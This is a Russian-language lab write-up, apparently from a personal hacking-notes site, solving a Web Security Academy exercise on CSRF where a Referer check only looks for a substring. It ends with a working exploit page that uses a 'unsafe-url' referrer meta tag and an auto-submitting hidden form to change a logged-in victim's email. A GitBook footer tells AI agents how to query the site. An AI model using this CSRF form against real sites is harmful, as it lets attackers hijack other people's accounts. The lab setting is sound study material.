> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-with-broken-referer-validation.md).

# CSRF с некорректной проверкой Referer

### CSRF с нарушенной проверкой Referer

Функция изменения электронной почты на сайте пытается блокировать междоменные запросы, проверяя **Referer** заголовок, но логику обнаружения можно обойти. Цель лабораторной: разместить на сервере HTML-страницу, которая создаёт CSRF-атаку для изменения адреса электронной почты посетителя.

### Учётная запись для использования

* **Пользователь**: `wiener`
* **Пароль**: `peter`

Если `Referer` если запрос приходит из другого домена, он отклоняется.

<figure><img src="/files/2ce22b1ce50a08023479b9a9cc0cac35f27c7bc1" alt=""><figcaption></figcaption></figure>

Если `Referer` заголовок отсутствует, проверка тоже не проходит (запрос отклоняется).

<figure><img src="/files/7e0fb09af023c0644cd6c30d078a477dc0a2867c" alt=""><figcaption></figcaption></figure>

* Проверка ищет **совпадение** содержащее определённую строку в `Referer`. Поэтому она принимает `Referer` которая **содержит** эту строку, даже если вокруг есть дополнительный текст.
* Пример обнаруженной допустимой строки:/ `https://JORD4N.PRO0aa7004f039e530680480331005c00f0.web-security-academy.net`

<figure><img src="/files/41be9b5e264c9ae909942b4d580c86410d6fd4f1" alt=""><figcaption></figcaption></figure>

#### Обнаружен обход

* Вместо отправки запроса с `/exploit`, то `Referer` можно заставить содержать допустимую строку (например, сформировав URL, который включает эту строку).

<kbd>/0aa7004f039e530680480331005c00f0.web-security-academy.net</kbd>

<figure><img src="/files/4f28bd789a3a6d77c5ed2e7ae76ece3cb6a40e27" alt=""><figcaption></figcaption></figure>

* Браузеры накладывают ограничения безопасности, которые не позволяют произвольно отправлять некоторые виды `Referer`. Чтобы заставить полный `Referer` с exploit-страницы, добавьте следующую мета-директиву в `<head>`:

```html
<meta name="referrer" content="unsafe-url">
```

Эта директива заставляет браузер отправлять URL полной исходной страницы как `Referer` даже при переходе между источниками (небезопасное поведение).

```html
<head>
   <meta name="referrer" content="unsafe-url">
</head>

<form class="login-form" name="change-email-form" action="https://0aa7004f039e530680480331005c00f0.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>
document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-with-broken-referer-validation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
